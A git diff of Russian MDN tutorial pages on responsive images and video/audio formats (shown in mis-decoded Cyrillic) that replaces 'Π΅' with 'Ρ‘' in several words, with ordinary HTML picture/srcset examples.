ΠΈΠΌΠ΅Π΅Ρ‚ дисплСй стандартного/Π½ΠΈΠ·ΠΊΠΎΠ³ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ΄ΠΈΠ½ пиксСль устройства прСдставляСт (соотвСтствуСт) ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ CSS-пиксСль, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Β <code>elva-fairy-320w.jpg</code> (ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ x1, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π²Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π΅Π³ΠΎ). Если устройство ΠΈΠΌΠ΅Π΅Ρ‚ высокоС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, Π² Π΄Π²Π° пиксСля устройства Π½Π° ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ CSS-пиксСль ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Β <code>elva-fairy-640w.jpg</code>. 640px ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ 93KB, Ρ‚ΠΎΠ³Π΄Π° Ρ‚Π°ΠΊΒ 320px ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ - всСго 39KB.</p>
<h3 id="Π₯удоТСствСнноС_ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠ΅">Π₯удоТСствСнноС ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠ΅</h3>
@@ -153,7 +153,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images
<pre class="brush: html notranslate">&lt;img src="elva-800w.jpg" alt="Chris standing up holding his daughter Elva"&gt;</pre>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ исправим это ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ элСмСнта {{htmlelement("picture")}}! Π’Π°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content"><code>&lt;video&gt;</code> ΠΈ <code>&lt;audio&gt;</code></a>, элСмСнт <code>&lt;picture&gt;</code> это ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠ° содСрТащая Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ количСство элСмСнтов {{htmlelement("source")}} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π²Ρ‹Π±ΠΎΡ€ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ€Π°Π·Π½Ρ‹Ρ… источников, Π² сопровоТдСнии ΠΊΡ€Π°ΠΉΠ½Π΅ Π²Π°ΠΆΠ½ΠΎΠ³ΠΎ элСмСнта {{htmlelement("img")}}. Код <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> выглядит Ρ‚Π°ΠΊ:</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ исправим это ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ элСмСнта {{htmlelement("picture")}}! Π’Π°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content"><code>&lt;video&gt;</code> ΠΈ <code>&lt;audio&gt;</code></a>, элСмСнт <code>&lt;picture&gt;</code> это ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠ° содСрТащая Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ количСство элСмСнтов {{htmlelement("source")}} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π²Ρ‹Π±ΠΎΡ€ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ€Π°Π·Π½Ρ‹Ρ… источников, Π² сопровоТдСнии ΠΊΡ€Π°ΠΉΠ½Π΅ Π²Π°ΠΆΠ½ΠΎΠ³ΠΎ элСмСнта {{htmlelement("img")}}. Код <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> выглядит Ρ‚Π°ΠΊ:</p>
<pre class="brush: html notranslate">&lt;picture&gt;
&lt;source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg"&gt;
@@ -164,7 +164,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images
<ul>
<li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Β <code>&lt;source&gt;</code>Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>media</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΌΠ΅Π΄ΠΈΠ°-условиС;Β ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ этих условий опрСдСляСтся, ΠΊΠ°ΠΊΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½ΠΎ. Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС, Ссли ΡˆΠΈΡ€ΠΈΠ½Π°Β viewport'a составит 799px ΠΈΠ»ΠΈ мСньшС, Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ элСмСнта <code>&lt;source&gt;</code>. Если ΡˆΠΈΡ€ΠΈΠ½Π° составит 800px ΠΈ Π±ΠΎΠ»Π΅Π΅Β β€”Β Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ.</li>
- <li>Атрибут <code>srcset</code> содСрТит ΠΏΡƒΡ‚ΡŒ изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½ΠΎ. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΈ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ с <code>&lt;img&gt;</code> Π²Ρ‹ΡˆΠ΅, <code>&lt;source&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒΒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹Β <code>srcset</code>Β ΠΈΒ <code>sizes</code> с нСсколько ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ изобраТСниями. Π’Π°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π³Ρ€ΡƒΠΏΠΏΡƒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉΒ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта <code>&lt;picture&gt;</code>, Π½ΠΎ ΠΈ Π·Π°Π΄Π°Ρ‚ΡŒ Π³Ρ€ΡƒΠΏΠΏΡƒ прСдписаний для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ…. Π’ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π²Ρ‹ вряд Π»ΠΈ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒΡΡ этим ΠΎΡ‡Π΅Π½ΡŒΒ Ρ‡Π°ΡΡ‚ΠΎ.</li>
+ <li>Атрибут <code>srcset</code> содСрТит ΠΏΡƒΡ‚ΡŒ изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½ΠΎ. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΈ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ с <code>&lt;img&gt;</code> Π²Ρ‹ΡˆΠ΅, <code>&lt;source&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒΒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹Β <code>srcset</code>Β ΠΈΒ <code>sizes</code> с нСсколько ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ изобраТСниями. Π’Π°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π³Ρ€ΡƒΠΏΠΏΡƒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉΒ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта <code>&lt;picture&gt;</code>, Π½ΠΎ ΠΈ Π·Π°Π΄Π°Ρ‚ΡŒ Π³Ρ€ΡƒΠΏΠΏΡƒ прСдписаний для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ…. Π’ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π²Ρ‹ вряд Π»ΠΈ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒΡΡ этим ΠΎΡ‡Π΅Π½ΡŒΒ Ρ‡Π°ΡΡ‚ΠΎ.</li>
<li>Вы всСгда долТны ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт <code>&lt;img&gt;</code>, с <code>src</code>Β ΠΈΒ <code>alt</code>, прямо ΠΏΠ΅Ρ€Π΅Π΄Β <code>&lt;/picture&gt;</code>, ΠΈΠ½Π°Ρ‡Π΅ изобраТСния Π½Π΅ появятся. Π­Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Π½Π° Ρ‚ΠΎΡ‚ случай, ΠΊΠΎΠ³Π΄Π° Π½ΠΈ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΌΠ΅Π΄ΠΈΠ°-условий нС удовлСтворСно (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π±Ρ‹ Π²Ρ‹ ΡƒΠ±Ρ€Π°Π»ΠΈΒ Π²Ρ‚ΠΎΡ€ΠΎΠΉ элСмСнт <code>&lt;source&gt;)</code>Β ΠΈΠ»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ элСмСнт <code>&lt;picture&gt;</code>.</li>
</ul>
@@ -185,7 +185,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images
<h3 id="Π‘ΠΌΠ΅Π»ΠΎ_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_соврСмСнныС_Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹_ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ">Π‘ΠΌΠ΅Π»ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ соврСмСнныС Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</h3>
-<p>Π•ΡΡ‚ΡŒ нСсколько Π½ΠΎΠ²Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² изобраТСния (Ρ‚Π°ΠΊΠΈΡ…, ΠΊΠ°ΠΊΒ WebP ΠΈΒ JPEG-2000), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡƒΠ΄Π°Π΅Ρ‚ΡΡΒ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒΒ Π²Ρ‹ΡΠΎΠΊΠΎΠ΅ качСство ΠΏΡ€ΠΈ ΠΌΠ°Π»ΠΎΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅ Ρ„Π°ΠΉΠ»Π°. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ ΠΈΡ… Π½Π΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ.</p>
+<p>Π•ΡΡ‚ΡŒ нСсколько Π½ΠΎΠ²Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² изобраТСния (Ρ‚Π°ΠΊΠΈΡ…, ΠΊΠ°ΠΊΒ WebP ΠΈΒ JPEG-2000), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡƒΠ΄Π°Ρ‘Ρ‚ΡΡΒ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒΒ Π²Ρ‹ΡΠΎΠΊΠΎΠ΅ качСство ΠΏΡ€ΠΈ ΠΌΠ°Π»ΠΎΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅ Ρ„Π°ΠΉΠ»Π°. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ ΠΈΡ… Π½Π΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ.</p>
<p><code>&lt;picture&gt;</code> позволяСт Π½Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π² старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ MIME-Ρ‚ΠΈΠΏ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β <code>type</code>, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ сразу ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Β Ρ„Π°ΠΉΠ»Ρ‹ Ρ‚Π°ΠΊΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΊΠ°ΠΊ Π½Π΅ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅:</p>
diff --git a/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html b/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html
index d37ae96622..c6cf6331fd 100644
--- a/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html
@@ -61,7 +61,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
<h3 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ…_Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ²">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ²</h3>
-<p>ΠŸΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΠ΅Ρ‚ ΠΎΠ΄Π½Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΡƒΠΆΠ΅ Π·Π°ΠΌΠ΅Ρ‚ΠΈΠ»ΠΈ, Ссли ΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ прямой ссылкС Π²Ρ‹ΡˆΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Safari ΠΈΠ»ΠΈ Internet Explorer. Π’ΠΈΠ΄Π΅ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ!</p>
+<p>ΠŸΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΠ΅Ρ‚ ΠΎΠ΄Π½Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΡƒΠΆΠ΅ Π·Π°ΠΌΠ΅Ρ‚ΠΈΠ»ΠΈ, Ссли ΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ прямой ссылкС Π²Ρ‹ΡˆΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Safari ΠΈΠ»ΠΈ Internet Explorer. Π’ΠΈΠ΄Π΅ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ!</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΊΡ€Π°Ρ‚ΠΊΠΎ рассмотрим Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ»ΠΎΠ³ΠΈΡŽ. Π€ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ MP3, MP4 ΠΈ WebM, Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <strong>Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°ΠΌΠΈ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠ²</strong>. Они содСрТат Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ части, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ всю пСсню ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎ β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π·Π²ΡƒΠΊΠΎΠ²ΡƒΡŽ Π΄ΠΎΡ€ΠΎΠΆΠΊΡƒ, Π²ΠΈΠ΄Π΅ΠΎΠ΄ΠΎΡ€ΠΎΠΆΠΊΡƒ (Π² случаС Π²ΠΈΠ΄Π΅ΠΎ) ΠΈ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ для описания прСдставлСнного носитСля.</p>
@@ -75,15 +75,15 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
<li>Π‘ΠΎΠ»Π΅Π΅ старый ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ Ogg ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Π΅Π½Π΄Π΅Π½Ρ†ΠΈΡŽ ΠΈΠ΄Ρ‚ΠΈ с Π°ΡƒΠ΄ΠΈΠΎ Ogg Vorbis ΠΈ Π²ΠΈΠ΄Π΅ΠΎ Ogg Theora. ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π»ΠΎΡΡŒ Π³Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π² Firefox ΠΈ Chrome, Π½ΠΎ Π±Ρ‹Π»ΠΎ вытСснСно Π±ΠΎΠ»Π΅Π΅ качСствСнным Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠΌ WebM.</li>
</ul>
-<p>Π•ΡΡ‚ΡŒ нСсколько особых случаСв. НапримСр, для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² Π°ΡƒΠ΄ΠΈΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠΎΠ΄Π΅ΠΊΠ° часто хранятся Π±Π΅Π· ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΈΠ»ΠΈ с ΡƒΠΏΡ€ΠΎΡ‰Π΅Π½Π½Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ. Одним ΠΈΠ· Ρ‚Π°ΠΊΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² являСтся ΠΊΠΎΠ΄Π΅ΠΊ FLAC, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‡Π°Ρ‰Π΅ всСго хранится Π² Ρ„Π°ΠΉΠ»Π°Ρ… FLAC, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой просто Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ FLAC.</p>
+<p>Π•ΡΡ‚ΡŒ нСсколько особых случаСв. НапримСр, для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² Π°ΡƒΠ΄ΠΈΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠΎΠ΄Π΅ΠΊΠ° часто хранятся Π±Π΅Π· ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΈΠ»ΠΈ с ΡƒΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ. Одним ΠΈΠ· Ρ‚Π°ΠΊΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² являСтся ΠΊΠΎΠ΄Π΅ΠΊ FLAC, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‡Π°Ρ‰Π΅ всСго хранится Π² Ρ„Π°ΠΉΠ»Π°Ρ… FLAC, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой просто Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ FLAC.</p>
-<p>Π•Ρ‰Π΅ ΠΎΠ΄Π½Π° такая ситуация - всСгда популярный Ρ„Π°ΠΉΠ» MP3. Β«Π€Π°ΠΉΠ» MP3Β» Π½Π° самом Π΄Π΅Π»Π΅ являСтся Π·Π²ΡƒΠΊΠΎΠ²ΠΎΠΉ Π΄ΠΎΡ€ΠΎΠΆΠΊΠΎΠΉ MPEG-1 Audio Layer III (MP3), хранящСйся Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ MPEG ΠΈΠ»ΠΈ MPEG-2. Π­Ρ‚ΠΎ особСнно интСрСсно, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ, хотя Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ использованиС ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° MPEG Π² элСмСнтах {{HTMLElement ("video")}} ΠΈ {{HTMLElement ("audio")}}, ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ MP3 ΠΈΠ·-Π·Π° Π΅Π³ΠΎ популярности.</p>
+<p>Π•Ρ‰Ρ‘ ΠΎΠ΄Π½Π° такая ситуация - всСгда популярный Ρ„Π°ΠΉΠ» MP3. Β«Π€Π°ΠΉΠ» MP3Β» Π½Π° самом Π΄Π΅Π»Π΅ являСтся Π·Π²ΡƒΠΊΠΎΠ²ΠΎΠΉ Π΄ΠΎΡ€ΠΎΠΆΠΊΠΎΠΉ MPEG-1 Audio Layer III (MP3), хранящСйся Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ MPEG ΠΈΠ»ΠΈ MPEG-2. Π­Ρ‚ΠΎ особСнно интСрСсно, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ, хотя Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ использованиС ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° MPEG Π² элСмСнтах {{HTMLElement ("video")}} ΠΈ {{HTMLElement ("audio")}}, ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ MP3 ΠΈΠ·-Π·Π° Π΅Π³ΠΎ популярности.</p>
